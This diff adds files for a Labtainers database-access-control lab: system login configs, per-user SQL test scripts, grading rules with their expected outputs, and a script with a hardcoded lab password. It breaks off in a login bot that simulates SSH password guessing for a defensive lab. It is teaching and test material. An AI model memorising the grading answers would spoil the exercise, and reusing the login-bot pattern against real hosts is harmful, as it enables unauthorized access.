floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/hr/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/hr/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/hr/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/hr/susan.sql b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/hr/susan.sql new file mode 100644 index 000000000..8d9b4c891 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/hr/susan.sql @@ -0,0 +1,32 @@ +USE MYCO; + +INSERT INTO employees (first_name, last_name, email, phone_number, hire_date, job_id, salary, manager_id, department_id) +VALUES ('James','McNair','james.mcnair@sqltutorial.org','515.123.4587','2001-08-25',6,7900.00,108,10); + +SELECT email FROM employees WHERE last_name = 'McNair'; + +DELETE FROM employees WHERE phone_number = '515.123.4587'; + +SELECT * FROM employees WHERE first_name = 'James'; + +SELECT CONCAT(first_name, ' ', last_name) AS name FROM employees; + +SELECT * FROM dependents WHERE employee_id = 206; + +INSERT INTO departments (department_id, department_name, location_id) VALUES (12, 'Maintenance', 1500); + +SELECT department_name FROM departments where department_name = 'Maintenance'; + +DELETE FROM departments WHERE department_name = 'Maintenance'; + +USE mysql; + +SHOW TABLES; + +USE performance_schema; + +SHOW TABLES; + +USE sys; + +SHOW TABLES; \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/instr_config/goals.config new file mode 100644 index 000000000..1fc3329ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/instr_config/goals.config @@ -0,0 +1,62 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide + +# STEVEN +_steven_db1_ = time_during : _steven_mysqldb : admin_change +_steven_db2_ = time_during : _steven_perfdb : admin_change +_steven_db3_ = time_during : _steven_sysdb : admin_change + +_steven_jobs_ = time_during : _steven_jobs : admin_change +_steven_depend_ = time_during : _steven_depend : admin_change +_steven_depart_ = time_during : _steven_depart : admin_change +_steven_managerEmps_ = time_during : _steven_managerEmps : admin_change +_steven_create_ = time_during : _steven_create : admin_change +_steven_insert_ = time_during : _steven_insert : admin_change +_steven_update_ = time_during : _steven_update : admin_change +#DOC: Student was able to enforce the company policy for Steven +steven_policy = boolean : (_steven_db1_ and _steven_db2_ and _steven_db3_ and _steven_jobs_ and _steven_depend_ and _steven_depart_ and _steven_managerEmps_ and _steven_create_ and _steven_insert_ and _steven_update_) + + +# SUSAN +_susan_db1_ = time_during : _susan_mysqldb : admin_change +_susan_db2_ = time_during : _susan_perfdb : admin_change +_susan_db3_ = time_during : _susan_sysdb : admin_change + +#checks against the susan.sql script to see if the employee James McNair was created +_susan_create_emp = time_during : _susan_check1 : admin_change +#checks against the susan.sql script to see if the employee James McNair was deleted +_susan_delete_emp = time_during : _susan_check2 : admin_change +#checks against the susan.sql script to make sure that susan is not able to new deparments into the database +_susan_depart_insert = time_during : _susan_check3 : admin_change + +#DOC: Student was able to enforce the company policy for Susan +susan_policy = boolean : (_susan_db1_ and _susan_db2_ and _susan_db3_ and _susan_create_emp and _susan_delete_emp and _susan_depart_insert) + + +# NANCY +_nancy_db1_ = time_during : _nancy_mysqldb : admin_change +_nancy_db2_ = time_during : _nancy_perfdb : admin_change +_nancy_db3_ = time_during : _nancy_sysdb : admin_change + +_nancy_faviet_ = time_during : _nancy_faviet : admin_change +_nancy_depend_ = time_during : _nancy_depend : admin_change +_nancy_updateEmp_ = time_during : _nancy_updateEmp : admin_change +#DOC: Student was able to enforce the company policy for nancy +nancy_policy = boolean : (_nancy_db1_ and _nancy_db2_ and _nancy_db3_ and _nancy_faviet_ and _nancy_depend_ and _nancy_updateEmp_) + + +# DAVID +_david_db1_ = time_during : _david_mysqldb : admin_change +_david_db2_ = time_during : _david_perfdb : admin_change +_david_db3_ = time_during : _david_sysdb : admin_change + +_david_insert_ = time_not_during : _david_insert : admin_change +_david_update_ = time_not_during : _david_update : admin_change +_david_min_salary_ = time_during : _david_min : admin_change +_david_max_salary_ = time_during : _david_max : admin_change + +_david_employee_ = time_during : _david_employee : admin_change +#DOC: Student was able to enforce the company policy for nancy +david_policy = boolean : (_david_db1_ and _david_db2_ and _david_db3_ and _david_employee_ and _david_insert_ and _david_update_ and _david_min_salary_ and _david_max_salary_) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/instr_config/pregrade.sh new file mode 100755 index 000000000..791a2f574 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/instr_config/pregrade.sh @@ -0,0 +1,42 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +if [ ! -z $is_sqlite ]; then + #echo $is_sqlite + here=`pwd` + places=$here/.mozilla/firefox/*default/places.sqlite + for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi + done +fi + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/instr_config/results.config new file mode 100644 index 000000000..87e8cb46c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/instr_config/results.config @@ -0,0 +1,150 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide + + +# RANGE_REGEX +admin_change = database:/var/log/mysql/mysql.log : RANGE_REGEX : FLUSH PRIVILEGES + +# STEVEN +# checks that the student was able to restrict access to only the MYCO database for steven +_steven_mysqldb = executive:mysql.stdout : CONTAINS : ERROR 1044 (42000): Access denied for user 'steven'@'executive' to database 'mysql' +_steven_perfdb = executive:mysql.stdout : CONTAINS : ERROR 1044 (42000): Access denied for user 'steven'@'executive' to database 'performance_schema' +_steven_sysdb = executive:mysql.stdout : CONTAINS : ERROR 1044 (42000): Access denied for user 'steven'@'executive' to database 'sys' + +# check that steven can view all jobs, dependents, and departments +_steven_jobs = executive:mysql.stdout : CONTAINS : 1 | Public Accountant +_steven_depend = executive:mysql.stdout : CONTAINS : 1 | Penelope | Gietz | Child | 206 +_steven_depart = executive:mysql.stdout : CONTAINS : 1 | Administration | 1700 + +# check that steven is able to group managers from employees +_steven_managerEmps = executive:mysql.stdout : CONTAINS : manager_id | Total Managers + +# check that steven is unable to change the database schema +_steven_create = executive:mysql.stdout : CONTAINS : ERROR 1142 (42000): CREATE command denied to user 'steven'@'executive' for table 'tasks' + +# check that steven can insert into the employees table +_steven_insert = executive:mysql.stdout : CONTAINS : Barry | Sanders + +# check that steven can update on the employees table +_steven_update = executive:mysql.stdout : CONTAINS : | detroitlion20@MYCO.org | + +# Current State Assessments + +#CHECK_TRUE: Steven is unable to insert data on the employees table, he should be able to select and modify employee records. +cw_steven_emp_insert = executive:prestop.stdout : CONTAINS : Barry + +#CHECK_TRUE: Steven is unable to update data on the employees table, he should be able to select and modify employee records. +cw_steven_emp_update = executive:prestop.stdout : CONTAINS : detroitlion20@MYCO.org + +#CHECK_TRUE: Steven is unable to view data on the employees table, he should be able to select and modify employee records. +cw_steven_emp = executive:prestop.stdout : CONTAINS : Total Managers + +#CHECK_TRUE: Steven is unable to view data on the jobs table, he should be able to select and modify jobs records. +cw_steven_jobs = executive:prestop.stdout : CONTAINS : Public Account + +#CHECK_TRUE: Steven is unable to view data on the dependents table, he should be able to select dependent records. +cw_steven_depend = executive:prestop.stdout : CONTAINS : Penelope + +#CHECK_TRUE: Steven is unable to view data on the departments table, he should be able to select and modify department and location records. +cw_steven_depart = executive:prestop.stdout : CONTAINS : Administration + +#CHECK_TRUE: Steven is able to add new tables to the database, this is not allowed. +cw_steven_table_insert = executive:prestop.stdout : CONTAINS : table 'tasks' + +#CHECK_FALSE: Steven is able to view databases outside of the MYCO database, he should not have the access to view any other database. +cw_steven_mysql_view = executive:prestop.stdout : CONTAINS : Tables_in_mysql + +# SUSAN + +# checks that the student was able to restrict access to only the MYCO database for susan +_susan_mysqldb = hr:mysql.stdout : CONTAINS : ERROR 1044 (42000): Access denied for user 'susan'@'hr' to database 'mysql' +_susan_perfdb = hr:mysql.stdout : CONTAINS : ERROR 1044 (42000): Access denied for user 'susan'@'hr' to database 'performance_schema' +_susan_sysdb = hr:mysql.stdout : CONTAINS : ERROR 1044 (42000): Access denied for user 'susan'@'hr' to database 'sys' + +# check for james in employees after row creation by susan +_susan_check1 = hr:mysql.stdout : CONTAINS : james.mcnair@sqltutorial.org + +# check that the student was able to delete the newly added 'james' tuple +# if resulting string matches, student was unable to delete the james tuple +_susan_check2 = hr:mysql.stdout : CONTAINS : Empty set + +#check that the student restricted privilege to the departments table +_susan_check3 = hr:mysql.stdout : CONTAINS : INSERT command denied to user 'susan'@'hr' for table 'departments' + +# Current State Assessments + +#CHECK_TRUE: Susan is unable to add a new employee into the database, she should have insert permissions on the employees table. +cw_susan_insert = hr:prestop.stdout : CONTAINS : james.mcnair@sqltutorial.org + +#CHECK_FALSE: Susan is unable to delete employee from the database, she should have delete permissions on the employees table. +cw_susan_delete = hr:prestop.stdout : CONTAINS : James McNair + +#CHECK_TRUE: Susan is unable to view the dependents table, she should have select permissions on the dependents table. +cw_susan_depend_view = hr:prestop.stdout : CONTAINS : Penelope + +#CHECK_FALSE: Susan is able to modify the departments table, she should not have the ability to modify this table. +cw_susan_depart_view = hr:prestop.stdout : CONTAINS : Maintenance + +#CHECK_FALSE: Susan is able to view databases outside of the MYCO database, she should not have the access to view any other database. +cw_susan_sys_view = hr:prestop.stdout : CONTAINS : Tables_in_sys + + +# NANCY +# checks that the student was able to restrict access to only the MYCO database for nancy +_nancy_mysqldb = finance:mysql.stdout : CONTAINS : ERROR 1044 (42000): Access denied for user 'nancy'@'finance' to database 'mysql' +_nancy_perfdb = finance:mysql.stdout : CONTAINS : ERROR 1044 (42000): Access denied for user 'nancy'@'finance' to database 'performance_schema' +_nancy_sysdb = finance:mysql.stdout : CONTAINS : ERROR 1044 (42000): Access denied for user 'nancy'@'finance' to database 'sys' + +_nancy_faviet = finance:mysql.stdout : CONTAINS : 109 | Daniel | Faviet | + +_nancy_depend = finance:mysql.stdout : CONTAINS : ERROR 1142 (42000): SELECT command denied to user 'nancy'@'finance' for table 'dependents' +_nancy_updateEmp = finance:mysql.stdout : CONTAINS : ERROR 1142 (42000): UPDATE command denied to user 'nancy'@'finance' for table 'employees' + +# Current State Assessments + +#CHECK_FALSE: Nancy is able to modify data on the employee table, she should not have the permissions to modify on this table. +cw_nancy_emp_update = finance:prestop.stdout : CONTAINS : 515.354.4568 + +#CHECK_FALSE: Nancy is able to view the dependent table, she should not have the permissions to view this table. +cw_nancy_depend_view = finance:prestop.stdout : CONTAINS : dependent_id + +#CHECK_TRUE: Nancy is unable to view the employees table, she should have the permissions to view this table. +cw_nancy_emp_view = finance:prestop.stdout : CONTAINS : Faviet + +#CHECK_FALSE: Nancy is able to view databases outside of the MYCO database, she should not have the access to view any other database. +cw_nancy_performance_schema_view = finance:prestop.stdout : CONTAINS : Tables_in_performance_schema + +# DAVID +# checks that the student was able to restrict access to only the MYCO database for david +_david_mysqldb = it:mysql.stdout : CONTAINS : ERROR 1044 (42000): Access denied for user 'david'@'it' to database 'mysql' +_david_perfdb = it:mysql.stdout : CONTAINS : ERROR 1044 (42000): Access denied for user 'david'@'it' to database 'performance_schema' +_david_sysdb = it:mysql.stdout : CONTAINS : ERROR 1044 (42000): Access denied for user 'david'@'it' to database 'sys' +_david_min = it:mysql.stdout : CONTAINS : ERROR 1143 (42000): SELECT command denied to user 'david'@'it' for column 'min_salary' in table 'jobs' +_david_max = it:mysql.stdout : CONTAINS : ERROR 1143 (42000): SELECT command denied to user 'david'@'it' for column 'max_salary' in table 'jobs' + +_david_employee = it:mysql.stdout : CONTAINS : Steven | King | steven.king@sqltutorial.org + +_david_insert = it:mysql.stdout : CONTAINS : Mike | Tyson + +_david_update = it:mysql.stdout : CONTAINS : IronMike@MYCO.org + +# Current State Assessments + +#CHECK_FALSE: David is able to view the min_salary field on the jobs table, he should not have the access to view this infomration. +cw_david_min_jobs = it:prestop.stdout : CONTAINS : min_salary + +#CHECK_FALSE: David is able to view the max_salary field on the jobs table, he should not have the access to view this infomration. +cw_david_max_jobs = it:prestop.stdout : CONTAINS : max_salary + +#CHECK_FALSE: David is able to view databases outside of the MYCO database, he should not have the access to view any other database. +cw_david_mysql_view = it:prestop.stdout : CONTAINS : Tables_in_mysql + +#CHECK_TRUE: David is unable to view the employees table, he should have the permissions to view this table. +cw_david_select_emp = it:prestop.stdout : CONTAINS : steven.king@sqltutorial.org + +#CHECK_FALSE: David is able to update the employees table, he should not have the permissions to modify this table. +cw_david_update_emp = it:prestop.stdout : CONTAINS : mike.tyson@sqltutorial.org + +#CHECK_FALSE: David is able to insert the employees table, he should not have the permissions to modify this table. +cw_david_insert_emp = it:prestop.stdout : CONTAINS : IronMike@MYCO.org diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/it/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/it/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/it/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/it/_bin/prestop b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/it/_bin/prestop new file mode 100755 index 000000000..49eaa5472 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/it/_bin/prestop @@ -0,0 +1,2 @@ +#!/bin/bash +su - david -c 'mysql -u david -h database -ppass4david -e "source david.sql"' diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/it/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/it/_bin/treataslocal new file mode 100644 index 000000000..0eaebf127 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/it/_bin/treataslocal @@ -0,0 +1 @@ +mysql diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/it/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/it/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/it/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/it/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/it/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/it/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/it/david.sql b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/it/david.sql new file mode 100644 index 000000000..f37b43954 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/it/david.sql @@ -0,0 +1,28 @@ +#tests for insert/delete/update permissions +use MYCO; + +SELECT first_name, last_name, email, phone_number, job_id, department_id FROM employees; + + +INSERT INTO employees (first_name, last_name, email, phone_number, hire_date, job_id, salary, manager_id, department_id) +VALUES ('Mike','Tyson','mike.tyson@sqltutorial.org','515.464.5555','2020-08-05',3,6000.00,101,1); + +SELECT * FROM employees WHERE phone_number = '515.464.5555'; + +UPDATE employees SET email = 'IronMike@MYCO.org' WHERE phone_number = '515.464.5555'; + +SELECT email FROM employees WHERE phone_number = '515.464.5555'; + +UPDATE employees SET email = 'mike.tyson@sqltutorial.org' WHERE phone_number = '515.464.5555'; + +DELETE FROM employees WHERE email = 'mike.tyson@sqltutorial.org'; + +SELECT min_salary FROM jobs WHERE job_id = 01; +SELECT max_salary FROM jobs WHERE job_id = 01; + +USE mysql; +SHOW TABLES; +USE performance_schema; +SHOW TABLES; +USE sys; +SHOW TABLES; diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/steven/_bin/prestop b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/steven/_bin/prestop new file mode 100755 index 000000000..e634d168c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/steven/_bin/prestop @@ -0,0 +1,2 @@ +#!/bin/bash +echo "from a prestop on steven" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/client/bot.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/client/bot.py index a61d29c60..d22727259 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/client/bot.py +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/denyhost/client/bot.py @@ -12,7 +12,7 @@ ON_POSIX = 'posix' in sys.builtin_module_names def doLogin(uid, passwd): retval = True logging.debug("in doLogin for %s %s" % (uid, passwd)) - command = 'sshpass -p"%s" ssh -tt %s@172.20.0.3 exit' % (passwd, uid) + command = 'sshpass -p"%s" ssh -o 